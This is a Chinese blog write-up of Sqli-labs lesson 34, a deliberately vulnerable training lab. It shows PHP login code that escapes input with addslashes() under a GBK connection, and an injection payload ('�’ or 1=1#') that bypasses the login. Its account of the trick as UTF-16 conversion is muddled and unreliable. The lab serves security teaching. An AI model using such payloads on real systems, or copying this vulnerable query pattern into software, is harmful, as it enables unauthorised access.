Sqli-labs Less-34 利用 ‘ 的utf-16突破addslashes()函数转义

 
更多

关键代码

$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
    
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

本关是post型的注入漏洞,同样的也是将post过来的内容进行了 ‘ \ 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的 \ 给吃掉。而get型的方式我们是以url形式提交的,因此数据会通过URLencode,如何将方法用在post型的注入当中,我们此处介绍一个新的方法。将utf-8转换为utf-16或 utf-32,例如将 ‘ 转为utf-16为 �’ 。我们就可以利用这个方式进行尝试。

我们用万能密码的方式的来突破这一关。

例如直接提交username:�’ or 1=1#

password:随便乱填

可以看到下面显示登录成功。

原始的sql语句为

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

此时sql语句为

@$sql="SELECT username, password FROM users WHERE username='�' or 1=1#' and password='$passwd' LIMIT 0,1";

去掉注释部分后sql语句为

@$sql="SELECT username, password FROM users WHERE username='�' or 1=1

此时不论select选择出来的内容是什么,与 1=1进行or操作后,始终为真。

打赏

本文固定链接: https://www.cxy163.net/archives/4962 | 绝缘体

该日志由 绝缘体.. 于 2020年04月09日 发表在 MySQL, 数据库 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: Sqli-labs Less-34 利用 ‘ 的utf-16突破addslashes()函数转义 | 绝缘体
关键字: , , , ,

Sqli-labs Less-34 利用 ‘ 的utf-16突破addslashes()函数转义:等您坐沙发呢!

发表评论


快捷键:Ctrl+Enter